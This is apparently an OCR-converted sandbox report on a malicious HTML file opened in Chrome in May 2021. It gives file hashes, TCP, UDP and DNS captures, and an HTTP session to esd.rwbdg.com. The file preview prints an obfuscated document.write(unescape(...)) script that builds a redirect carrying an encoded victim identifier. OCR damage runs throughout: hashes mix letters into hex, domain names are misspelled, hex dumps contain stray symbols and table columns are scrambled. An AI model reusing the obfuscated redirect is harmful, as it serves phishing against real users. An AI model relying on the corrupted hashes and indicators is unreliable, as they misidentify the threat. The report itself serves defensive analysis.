SHA-512: 0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CEO3BBF1E94E93613A00F28
F21

Malicious: false

Preview:

C:\Users\user\AppData\Local\Temp\8db609a3-587f-428e-8d12-fch87511d398.tmp E

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Google Chrome extension, version 3

Category: dropped

Size (bytes): 768843

Entropy (8bit):  7.992932603402907

Encrypted: true

SSDEEP: 12288:cK2ED9wWjXNC1Gse83ru82/u0eKhgxuPFrDXgtbhPz54Pm1D0fBmfH1sBr9mTiDga:cK2ED9148seur0/uZKCuPNbgtbz6m1lob

MD5: A11D5CAF6BF849AEB84B0C95B1C3B7CF

SHA1L: 27F410CCBD75852C01C7464A1FD7EF8C29BE3916

SHA-256: DOE62ACE64AFC334330A7AC3A2CC657914FEB321F1F89AEE11D2A6D0OE7D81C31

SHA-512: 086C124DE3A01BE467647F3BCB4EA05105F690AB45417A0E3D38935ABA9E2381DF59AF98D0OFFF7823CEFD5390B48807352E135AC70977AED7B413A8CC48FB59

Malicious: false

Preview:
Cr24......c..... 0.."0.. % H.oo O \7c.<....... Fto.8.2'5..9k...%....2...C.F.9.#4..e.xQ....... [..L]..3>ui T 7. (yM.L?2V.<?. . la..07d.....A.H..."MpB..T.m..Vn Ip..>k.|1..n.
<Fb..f.*Q1.....s..2..{*6....Pp....obM..1....... bl.... (uN'z....v.FW.X4."*eu..b......... 6W..>Nuw9..R{c...Ng.H.K.AL....'v.k+..2.5.>Vv.....;.._~....tp....x.q.V...7.m.O0.~.{".0/q."..BK..4./

...mae...0....... DU...n..n.;.lpr..Q....:
.KHF(n3.\"...,g.c...6)..(.E..U..#i.a..;..N....P..x.0...(mC;|.5.S.{m.aEx...[..fP.i".y..5.R...v.$.....]-m .meni LWL Rpb L+ K R$e~.0.&C%.d. M. ). V. %...+1F
Do X\let<.....EB+.i@...8.M..&YR...l.0...,....[0Y0..* H=..* H=..B..ccooc..... r..2.+Y.l.k.bRj5SI.8....... H"i.-..".Q.{...FOD. D.".N@.(..GK....m...A.0.."

<Y €00 F Ho 0......Mbh=.[O}.+..U

Static File Info

General

File type: HTML document, ASCII text, with no line terminators
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General
Entropy (8bit):
TriD:

File name:
File size:
MD5:

SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Network Behavior

Network Port Distribution

TCP Packets

Timestamp

May 12, 2021 21:33:48.595911026 CEST
May 12, 2021 21:33:48.597872972 CEST
May 12, 2021 21:33:48.598750114 CEST
May 12, 2021 21:33:48.799762964 CEST
May 12, 2021 21:33:48.799871922 CEST
May 12, 2021 21:33:48.801121950 CEST
May 12, 2021 21:33:48.801243067 CEST
May 12, 2021 21:33:48.802211046 CEST
May 12, 2021 21:33:48.803003073 CEST
May 12, 2021 21:33:48.803101063 CEST
May 12, 2021 21:33:49.004781961 CEST
May 12, 2021 21:33:49.104301929 CEST

Copyright Joe Security LLC 2021

e8d6a08c8882c461

Total Packets: 91

® 53 (DNS)

© 443 (HTTPS)

® 80 (HTTP)
Source Port Dest Port Source IP
49715 80 192.168.2.7
49716 80 192.168.2.7
49717 80 192.168.2.7
80 49715 103.120.64.61
49715 80 192.168.2.7
80 49716 103.120.64.61
49716 80 192.168.2.7
49716 80 192.168.2.7
80 49717 103.120.64.61
49717 80 192.168.2.7
80 49716 103.120.64.61
80 49716 103.120.64.61

5.235209707315322

5781525.html

283

963645e8c8¢7d2d5a505148091b9¢c210
85fd4aa0118f6e4396efa2lea2c0ddbebl16606a3

054dfe9971347a123b2403c59f0eel17dc6c90861d7b9e2¢
15c512¢9b4cf57cdl

1d91f7aa83edd28f31dd17a2ab10437a50ba8ef79951317
2ff494deb5f4d311821f5f68b3fb8e8437de675a2c828ac0
038ech5eaaaffb5a6e7b259238440ad49

6:S0/7LAdjv27ajXAIk6ALPdKB95BBbnjMPBYb:Su70d7
6ajM64dqg9zloYb

<script language="javascript">document.write(unescap

e('%3C%6D%65%74%61%20%68%74%74%70%2D%
65%71%75%69%76%3D%22%72%65%66%72%65%7
3%68%22%20%63%6F%6E%74%65%6E%74%3D%2

2%30%3B%75%72%6C%3Dhttp://Esd.rwbdg.com/#aH
ROCHMB6LY93cmlI0ZXJseS5)Y S8jbWR3aWxzh25AZXNk
LndhLmdv

Dest IP
103.120.64.61
103.120.64.61
103.120.64.61
192.168.2.7
103.120.64.61
192.168.2.7
103.120.64.61
103.120.64.61
192.168.2.7
103.120.64.61
192.168.2.7
192.168.2.7
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Timestamp Source Port Dest Port Source IP Dest IP

May 12, 2021 21:33:49.114149094 CEST 80 49716 103.120.64.61 192.168.2.7

May 12, 2021 21:33:49.114268064 CEST 49716 80 192.168.2.7 103.120.64.61
May 12, 2021 21:33:50.334587097 CEST 49716 80 192.168.2.7 103.120.64.61
May 12, 2021 21:33:50.360469103 CEST 49715 80 192.168.2.7 103.120.64.61
May 12, 2021 21:33:50.539051056 CEST 80 49716 103.120.64.61 192.168.2.7

May 12, 2021 21:33:50.564316988 CEST 80 49715 103.120.64.61 192.168.2.7

May 12, 2021 21:33:50.688494921 CEST 80 49715 103.120.64.61 192.168.2.7

May 12, 2021 21:33:50.691534042 CEST 80 49716 103.120.64.61 192.168.2.7

May 12, 2021 21:33:50.699357033 CEST 80 49715 103.120.64.61 192.168.2.7

May 12, 2021 21:33:50.699453115 CEST 49715 80 192.168.2.7 103.120.64.61
May 12, 2021 21:33:50.704157114 CEST 80 49716 103.120.64.61 192.168.2.7

May 12, 2021 21:33:50.704327106 CEST 49716 80 192.168.2.7 103.120.64.61
May 12, 2021 21:33:50.793210983 CEST 49730 443 192.168.2.7 172.67.150.89
May 12, 2021 21:33:50.793934107 CEST 49731 443 192.168.2.7 172.67.150.89
May 12, 2021 21:33:50.834265947 CEST 443 49730 172.67.150.89 192.168.2.7

May 12, 2021 21:33:50.834506035 CEST 49730 443 192.168.2.7 172.67.150.89
May 12, 2021 21:33:50.834697008 CEST 443 49731 172.67.150.89 192.168.2.7

May 12, 2021 21:33:50.834789991 CEST 49731 443 192.168.2.7 172.67.150.89
May 12, 2021 21:33:50.835078955 CEST 49730 443 192.168.2.7 172.67.150.89
May 12, 2021 21:33:50.835321903 CEST 49731 443 192.168.2.7 172.67.150.89
May 12, 2021 21:33:50.875957966 CEST 443 49730 172.67.150.89 192.168.2.7

May 12, 2021 21:33:50.876012087 CEST 443 49731 172.67.150.89 192.168.2.7

May 12, 2021 21:33:50.882298946 CEST 443 49730 172.67.150.89 192.168.2.7

May 12, 2021 21:33:50.882323980 CEST 443 49730 172.67.150.89 192.168.2.7

May 12, 2021 21:33:50.882447004 CEST 49730 443 192.168.2.7 172.67.150.89
May 12, 2021 21:33:50.889080048 CEST 443 49731 172.67.150.89 192.168.2.7

May 12, 2021 21:33:50.889107943 CEST 443 49731 172.67.150.89 192.168.2.7

May 12, 2021 21:33:50.889178991 CEST 49731 443 192.168.2.7 172.67.150.89
May 12, 2021 21:33:50.941262960 CEST 49730 443 192.168.2.7 172.67.150.89
May 12, 2021 21:33:50.942615032 CEST 49731 443 192.168.2.7 172.67.150.89
May 12, 2021 21:33:50.942780972 CEST 49731 443 192.168.2.7 172.67.150.89
May 12, 2021 21:33:50.942919970 CEST 49730 443 192.168.2.7 172.67.150.89
May 12, 2021 21:33:50.943231106 CEST 49730 443 192.168.2.7 172.67.150.89
May 12, 2021 21:33:50.982208014 CEST 443 49730 172.67.150.89 192.168.2.7

May 12, 2021 21:33:50.982342958 CEST 443 49730 172.67.150.89 192.168.2.7

May 12, 2021 21:33:50.983278036 CEST 443 49731 172.67.150.89 192.168.2.7

May 12, 2021 21:33:50.983285904 CEST 49730 443 192.168.2.7 172.67.150.89
May 12, 2021 21:33:50.983740091 CEST 443 49730 172.67.150.89 192.168.2.7

May 12, 2021 21:33:50.983851910 CEST 443 49731 172.67.150.89 192.168.2.7

May 12, 2021 21:33:50.983921051 CEST 49731 443 192.168.2.7 172.67.150.89
May 12, 2021 21:33:50.984044075 CEST 443 49730 172.67.150.89 192.168.2.7

May 12, 2021 21:33:50.986424923 CEST 443 49730 172.67.150.89 192.168.2.7

May 12, 2021 21:33:51.024241924 CEST 443 49730 172.67.150.89 192.168.2.7

May 12, 2021 21:33:51.054486036 CEST 49730 443 192.168.2.7 172.67.150.89
May 12, 2021 21:33:51.500713110 CEST 443 49730 172.67.150.89 192.168.2.7

May 12, 2021 21:33:51.500736952 CEST 443 49730 172.67.150.89 192.168.2.7

May 12, 2021 21:33:51.500834942 CEST 49730 443 192.168.2.7 172.67.150.89
May 12, 2021 21:33:51.777132988 CEST 49736 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:51.780694008 CEST 49737 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:51.838182926 CEST 49738 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:51.962950945 CEST 443 49736 192.254.185.127 192.168.2.7

May 12, 2021 21:33:51.963084936 CEST 49736 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:51.963424921 CEST 49736 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:51.966501951 CEST 443 49737 192.254.185.127 192.168.2.7

May 12, 2021 21:33:51.966628075 CEST 49737 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:51.967422009 CEST 49737 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:52.022707939 CEST 443 49738 192.254.185.127 192.168.2.7

May 12, 2021 21:33:52.022805929 CEST 49738 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:52.023099899 CEST 49738 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:52.149033070 CEST 443 49736 192.254.185.127 192.168.2.7

May 12, 2021 21:33:52.152971983 CEST 443 49736 192.254.185.127 192.168.2.7

May 12, 2021 21:33:52.152998924 CEST 443 49736 192.254.185.127 192.168.2.7

May 12, 2021 21:33:52.153011084 CEST 443 49736 192.254.185.127 192.168.2.7

May 12, 2021 21:33:52.153148890 CEST 49736 443 192.168.2.7 192.254.185.127
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Timestamp Source Port Dest Port Source IP Dest IP

May 12, 2021 21:33:52.153502941 CEST 443 49737 192.254.185.127 192.168.2.7
May 12, 2021 21:33:52.156009912 CEST 443 49737 192.254.185.127 192.168.2.7
May 12, 2021 21:33:52.156048059 CEST 443 49737 192.254.185.127 192.168.2.7
May 12, 2021 21:33:52.156065941 CEST 443 49737 192.254.185.127 192.168.2.7
May 12, 2021 21:33:52.156138897 CEST 49737 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:52.168371916 CEST 49736 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:52.169948101 CEST 49737 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:52.170440912 CEST 49737 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:52.170687914 CEST 49736 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:52.171283960 CEST 49736 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:52.209278107 CEST 443 49738 192.254.185.127 192.168.2.7
May 12, 2021 21:33:52.213172913 CEST 443 49738 192.254.185.127 192.168.2.7
May 12, 2021 21:33:52.213201046 CEST 443 49738 192.254.185.127 192.168.2.7
May 12, 2021 21:33:52.213221073 CEST 443 49738 192.254.185.127 192.168.2.7
May 12, 2021 21:33:52.213287115 CEST 49738 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:52.214749098 CEST 49738 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:52.353200912 CEST 443 49736 192.254.185.127 192.168.2.7
May 12, 2021 21:33:52.353230953 CEST 443 49736 192.254.185.127 192.168.2.7
May 12, 2021 21:33:52.353302956 CEST 443 49736 192.254.185.127 192.168.2.7
May 12, 2021 21:33:52.353734016 CEST 49736 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:52.353887081 CEST 49736 443 192.168.2.7 192.254.185.127
May 12, 2021 21:33:52.354716063 CEST 443 49737 192.254.185.127 192.168.2.7
May 12, 2021 21:33:52.354744911 CEST 443 49737 192.254.185.127 192.168.2.7
May 12, 2021 21:33:52.354820967 CEST 49737 443 192.168.2.7 192.254.185.127

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
May 12, 2021 21:33:37.169677973 CEST 58562 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:37.218327045 CEST 53 58562 8.8.8.8 192.168.2.7
May 12, 2021 21:33:38.027972937 CEST 56590 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:38.064944029 CEST 60501 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:38.076950073 CEST 53 56590 8.8.8.8 192.168.2.7
May 12, 2021 21:33:38.131877899 CEST 53 60501 8.8.8.8 192.168.2.7
May 12, 2021 21:33:38.956790924 CEST 53775 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:39.008424044 CEST 53 53775 8.8.8.8 192.168.2.7
May 12, 2021 21:33:39.867464066 CEST 51837 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:39.918993950 CEST 53 51837 8.8.8.8 192.168.2.7
May 12, 2021 21:33:40.931199074 CEST 55411 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:40.982018948 CEST 53 55411 8.8.8.8 192.168.2.7
May 12, 2021 21:33:42.449338913 CEST 63668 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:42.498091936 CEST 53 63668 8.8.8.8 192.168.2.7
May 12, 2021 21:33:43.758892059 CEST 54640 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:43.807863951 CEST 53 54640 8.8.8.8 192.168.2.7
May 12, 2021 21:33:44.593399048 CEST 58739 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:44.645159006 CEST 53 58739 8.8.8.8 192.168.2.7
May 12, 2021 21:33:46.261149883 CEST 60338 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:46.310177088 CEST 53 60338 8.8.8.8 192.168.2.7
May 12, 2021 21:33:48.046638966 CEST 54329 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:48.103651047 CEST 53 54329 8.8.8.8 192.168.2.7
May 12, 2021 21:33:48.125360012 CEST 58052 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:48.131052017 CEST 54008 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:48.138225079 CEST 59451 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:48.193087101 CEST 53 58052 8.8.8.8 192.168.2.7
May 12, 2021 21:33:48.193981886 CEST 53 54008 8.8.8.8 192.168.2.7
May 12, 2021 21:33:48.508827925 CEST 53 59451 8.8.8.8 192.168.2.7
May 12, 2021 21:33:48.973025084 CEST 64569 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:49.040146112 CEST 53 64569 8.8.8.8 192.168.2.7
May 12, 2021 21:33:49.262717009 CEST 52816 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:49.311440945 CEST 53 52816 8.8.8.8 192.168.2.7
May 12, 2021 21:33:49.397033930 CEST 50781 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:49.446132898 CEST 53 50781 8.8.8.8 192.168.2.7
May 12, 2021 21:33:49.580482006 CEST 54230 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:49.644558907 CEST 53 54230 8.8.8.8 192.168.2.7
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Timestamp Source Port Dest Port Source IP Dest IP

May 12, 2021 21:33:49.709793091 CEST 54911 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:49.758760929 CEST 53 54911 8.8.8.8 192.168.2.7
May 12, 2021 21:33:49.980534077 CEST 49958 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:50.046545982 CEST 53 49958 8.8.8.8 192.168.2.7
May 12, 2021 21:33:50.729583025 CEST 50860 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:50.791382074 CEST 53 50860 8.8.8.8 192.168.2.7
May 12, 2021 21:33:51.106889009 CEST 50452 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:51.157083988 CEST 53 50452 8.8.8.8 192.168.2.7
May 12, 2021 21:33:51.581439972 CEST 59730 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:51.775347948 CEST 53 59730 8.8.8.8 192.168.2.7
May 12, 2021 21:33:52.118129015 CEST 59310 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:52.169878006 CEST 53 59310 8.8.8.8 192.168.2.7
May 12, 2021 21:33:53.089734077 CEST 58820 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:53.151757002 CEST 53 58820 8.8.8.8 192.168.2.7
May 12, 2021 21:33:54.024416924 CEST 60983 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:54.073190928 CEST 53 60983 8.8.8.8 192.168.2.7
May 12, 2021 21:33:55.026853085 CEST 49247 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:55.092837095 CEST 53 49247 8.8.8.8 192.168.2.7
May 12, 2021 21:33:55.341559887 CEST 52286 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:55.412513971 CEST 53 52286 8.8.8.8 192.168.2.7
May 12, 2021 21:33:55.865566015 CEST 56064 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:55.931020021 CEST 53 56064 8.8.8.8 192.168.2.7
May 12, 2021 21:33:56.691701889 CEST 58367 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:56.754024982 CEST 53 58367 8.8.8.8 192.168.2.7
May 12, 2021 21:33:57.411130905 CEST 60599 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:57.460043907 CEST 53 60599 8.8.8.8 192.168.2.7
May 12, 2021 21:33:57.717113972 CEST 59571 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:57.776520014 CEST 53 59571 8.8.8.8 192.168.2.7
May 12, 2021 21:33:59.276647091 CEST 50290 53 192.168.2.7 8.8.8.8
May 12, 2021 21:33:59.328366995 CEST 53 50290 8.8.8.8 192.168.2.7
May 12, 2021 21:34:00.699039936 CEST 60427 53 192.168.2.7 8.8.8.8
May 12, 2021 21:34:01.026808023 CEST 53 60427 8.8.8.8 192.168.2.7
May 12, 2021 21:34:02.983745098 CEST 56209 53 192.168.2.7 8.8.8.8
May 12, 2021 21:34:03.042598009 CEST 53 56209 8.8.8.8 192.168.2.7
May 12, 2021 21:34:03.088495970 CEST 59582 53 192.168.2.7 8.8.8.8
May 12, 2021 21:34:03.166538000 CEST 53 59582 8.8.8.8 192.168.2.7
May 12, 2021 21:34:03.943093061 CEST 60949 53 192.168.2.7 8.8.8.8
May 12, 2021 21:34:04.009135008 CEST 53 60949 8.8.8.8 192.168.2.7
May 12, 2021 21:34:05.076306105 CEST 58542 53 192.168.2.7 8.8.8.8
May 12, 2021 21:34:05.125504971 CEST 53 58542 8.8.8.8 192.168.2.7
May 12, 2021 21:34:06.818423986 CEST 59179 53 192.168.2.7 8.8.8.8
May 12, 2021 21:34:06.867217064 CEST 53 59179 8.8.8.8 192.168.2.7
May 12, 2021 21:34:08.739229918 CEST 60927 53 192.168.2.7 8.8.8.8
May 12, 2021 21:34:08.787724972 CEST 53 60927 8.8.8.8 192.168.2.7
May 12, 2021 21:34:11.967514992 CEST 57854 53 192.168.2.7 8.8.8.8
May 12, 2021 21:34:12.026947021 CEST 53 57854 8.8.8.8 192.168.2.7
May 12, 2021 21:34:12.498394012 CEST 62026 53 192.168.2.7 8.8.8.8
May 12, 2021 21:34:12.550246000 CEST 53 62026 8.8.8.8 192.168.2.7
May 12, 2021 21:34:17.587153912 CEST 59453 53 192.168.2.7 8.8.8.8
May 12, 2021 21:34:17.636012077 CEST 53 59453 8.8.8.8 192.168.2.7
May 12, 2021 21:34:31.315280914 CEST 52563 53 192.168.2.7 8.8.8.8
May 12, 2021 21:34:31.376750946 CEST 53 52563 8.8.8.8 192.168.2.7
May 12, 2021 21:34:32.783840895 CEST 54721 53 192.168.2.7 8.8.8.8
May 12, 2021 21:34:32.872955084 CEST 53 54721 8.8.8.8 192.168.2.7
May 12, 2021 21:34:33.711756945 CEST 62826 53 192.168.2.7 8.8.8.8
May 12, 2021 21:34:33.780982018 CEST 53 62826 8.8.8.8 192.168.2.7
May 12, 2021 21:34:45.906658888 CEST 51223 53 192.168.2.7 8.8.8.8
May 12, 2021 21:34:45.971559048 CEST 53 51223 8.8.8.8 192.168.2.7
May 12, 2021 21:34:46.874002934 CEST 63908 53 192.168.2.7 8.8.8.8
May 12, 2021 21:34:46.934084892 CEST 53 63908 8.8.8.8 192.168.2.7
May 12, 2021 21:34:46.953454971 CEST 49226 53 192.168.2.7 8.8.8.8
May 12, 2021 21:34:47.015753984 CEST 53 49226 8.8.8.8 192.168.2.7
May 12, 2021 21:34:47.241651058 CEST 60212 53 192.168.2.7 8.8.8.8
May 12, 2021 21:34:47.298765898 CEST 53 60212 8.8.8.8 192.168.2.7
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Timestamp

May 12, 2021 21:35:04.286595106 CEST
May 12, 2021 21:35:04.346371889 CEST
May 12, 2021 21:35:39.122243881 CEST
May 12, 2021 21:35:39.186955929 CEST
May 12, 2021 21:35:42.177778006 CEST
May 12, 2021 21:35:42.251370907 CEST
May 12, 2021 21:35:57.101742029 CEST
May 12, 2021 21:35:57.160562992 CEST
May 12, 2021 21:36:13.718909025 CEST
May 12, 2021 21:36:13.776736975 CEST
May 12, 2021 21:36:13.917119980 CEST
May 12, 2021 21:36:13.985595942 CEST
May 12, 2021 21:36:14.379798889 CEST
May 12, 2021 21:36:14.428540945 CEST
May 12, 2021 21:36:26.047411919 CEST
May 12, 2021 21:36:26.105027914 CEST
May 12, 2021 21:36:27.874547958 CEST
May 12, 2021 21:36:27.948796988 CEST
May 12, 2021 21:36:32.891479969 CEST
May 12, 2021 21:36:33.035734892 CEST
May 12, 2021 21:36:33.616748095 CEST
May 12, 2021 21:36:33.681476116 CEST
May 12, 2021 21:36:34.270138025 CEST
May 12, 2021 21:36:34.396733999 CEST

DNS Queries

Timestamp

May 12, 2021 21:33:48.138225079 CEST
May 12, 2021 21:33:49.262717009 CEST
May 12, 2021 21:33:50.729583025 CEST
May 12, 2021 21:33:51.581439972 CEST

May 12, 2021 21:33:57.717113972 CEST

May 12, 2021 21:33:59.276647091 CEST
May 12, 2021 21:34:00.699039936 CEST

May 12, 2021 21:34:11.967514992 CEST

DNS Answers

Timestamp Source IP Dest IP

May 12, 2021 8.8.8.8 192.168.2.7

21:33:48.508827925
CEST

May 12, 2021 8.8.8.8 192.168.2.7

21:33:49.311440945
CEST

May 12, 2021 8.8.8.8 192.168.2.7

21:33:50.791382074
CEST

May 12, 2021 8.8.8.8 192.168.2.7

21:33:50.791382074
CEST

May 12, 2021 8.8.8.8 192.168.2.7

21:33:51.775347948
CEST

May 12, 2021 8.8.8.8
21:33:57.776520014
CEST

May 12, 2021 8.8.8.8
21:33:57.776520014
CEST
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192.168.2.7

192.168.2.7

Source IP

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

Trans ID

0xd53c

0x53d

0xcf55

0xcf55

Oxc5ab

0x57ba

0x57ba

Source Port
58867
53
50864
53
61504
53
60231
53
50095
53
59654
53
58233
53
56822
53
62572
53
57179
53
56124
53
62287
53

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Dest Port
53
58867
53
50864
53
61504
53
60231
53
50095
53
59654
53
58233
53
56822
53
62572
53
57179
53
56124
53
62287

Trans ID

0xd53c

0x53d

0xcf55

Oxc5ab

0x57ba

Oxlab7

0x9409

0xfcob

Name

esd.rwbdg.com

code.jgquery.com cds.s5x3j6q5.hwcdn.net

writerly.ca

writerly.ca

kristenbak
ercoach.com

Source IP
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8

OP Code
Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)
Standard query
(0)
Standard query
(0)

CName

Dest IP
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7
8.8.8.8
192.168.2.7

Name Type
esd.rwbdg.com A (IP address)

code.jquery.com A (IP address)

writerly.ca A (IP address)
kristenbak A (IP address)
ercoach.com
clients2.g A (IP address)
oogleuserc
ontent.com
i0.wp.com A (IP address)
www.eagarat- A (IP address)
iran.ir
www.eagarat- A (IP address)
iran.ir

Address Type

103.120.64.61 A (IP address)

CNAME
(Canonical
name)

172.67.150.89 A (IP address)

104.21.57.222 A (IP address)

192.254.185.127 A (IP address)

clients2.g googlehosted.l.googleuse CNAME
oogleuserc rcontent.com (Canonical
ontent.com name)
googlehost 142.250.185.65 A (IP address)
ed.l.googl!

euserconte

nt.com

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

May 12, 2021 8.8.8.8
21:33:59.328366995
CEST

May 12, 2021 8.8.8.8
21:34:01.026808023
CEST

May 12, 2021 8.8.8.8
21:34:01.026808023
CEST

May 12, 2021 8.8.8.8
21:34:12.026947021
CEST

May 12, 2021 8.8.8.8
21:34:12.026947021
CEST

May 12, 2021 8.8.8.8
21:34:32.872955084
CEST

Dest IP

Trans ID

192.168.2.7 Oxlab7

192.168.2.7 0x9409

192.168.2.7 0x9409

192.168.2.7 Oxfcob

192.168.2.7 0xfc9b

192.168.2.7 Ox66fe

HTTP Request Dependency Graph

e esd.rwbdg.com

HTTP Packets

Session ID

0

Timestamp

May 12, 2021
21:33:48.802211046 CEST

May 12, 2021
21:33:49.104301929 CEST

Source IP

192.168.2.7
kBytes

transferred

647

657
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Source Port

49716

Direction

ouT

Reply Code Name CName Address Type Class
No error (0) i0.wp.com 192.0.77.2 A (IP address)  IN (0x0001)
No error (0) www.eagarat- eagarat-iran.ir CNAME IN (0x0001)
iran.ir (Canonical
name)
No error (0) eagarat-iran.ir 5.144.130.32 A (IP address)  IN (0x0001)
No error (0) www.eagarat- eagarat-iran.ir CNAME IN (0x0001)
iran.ir (Canonical
name)
No error (0) eagarat-iran.ir 5.144.130.32 A (IP address)  IN (0x0001)
No error (0) prda.aadg. www.tm.a.prd.aadg.akadn CNAME IN (0x0001)
msidentity.com  s.net (Canonical
name)

Destination IP Destination Port Process

103.120.64.61 80 C:\Program Files\Google\Chrome\Application\chrome.exe

Data

GET /HTTP/1.1

Host: esd.rwbdg.com

Connection: keep-alive

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121
Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Wed, 12 May 2021 19:33:48 GMT

Server: Apache

Content-Encoding: gzip

Vary: Accept-Encoding

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 32 30 39 0d Oa 1f 8b 08 00 00 00 00 00 00 03 6d 93 5d 6f d3 30 14 86 ef fb 2b 2¢ 33 69 ad b6 da 74 55 d9 e8
92 4a c0 84 10 42 6¢ 63 ad 2a 84 b8 70 6¢ af 76 97 d8 c1 3e 4d 1a 4d fb ef 73 3e a0 1f c2 37 76 7c 9e 73 de f7 1c 39 91
82 2c 9d 5 22 25 99 98 f5 7a 3d 14 56 04 1a 52 39 8b 68 bb b7 77 99 04 86 b8 62 ce 4b 88 f1 62 fe 79 78 85 {7 43 86 65
32 ¢c6 85 96 65 6e 1d 60 c4 ad 01 69 02 5a 6a 01 2a 16 b2 d0 5c Oe 9b 8f 73 a4 8d 06 cd d2 al e7 2c 95 f1 e8 6f al 84 79
89 94 93 8f 31 56 00 f9 94 52 €9 05 71 65 22 56 84 db Oc 23 5a 5b 8c 3c 54 a9 44 50 e5 41 10 e4 16 28 7 be 2b d1 8b 68
13 6d 38 da 36 15 25 56 54 61 f3 dc €9 1c 90 77 bc 2d ef 43 7d 6e 85 24 eb 3f 1b e9 aa 5a 81 b6 c7 el 98 4c c8 88 ac 3d
d6 al 89 95 d3 50 c5 d8 2b 76 31 79 37 bc 5f da cb 6f 37 ¢5 36 59 ce 2f 20 49 ee df 5f 7e 9c 8c ab af e6 e7 62 bc 54 5f e8
a7 ab 8a 27 3f 3e 3c ad ef 6e 82 Oc e2 ce 7a 6f 9d 5e 69 13 63 66 ac a9 32 bb 09 66 83 cd c6 cd ce d6 5e 3b 6b 56 b0 f6
b6 eb ea a4 2f 2c df 64 61 9c 03 e2 42 4f 55 ff 71 63 38 68 6b fa 83 7 86 a8 57 c1 1c aa 1c 8a 51 a9 8d b0 25 49 2d 67
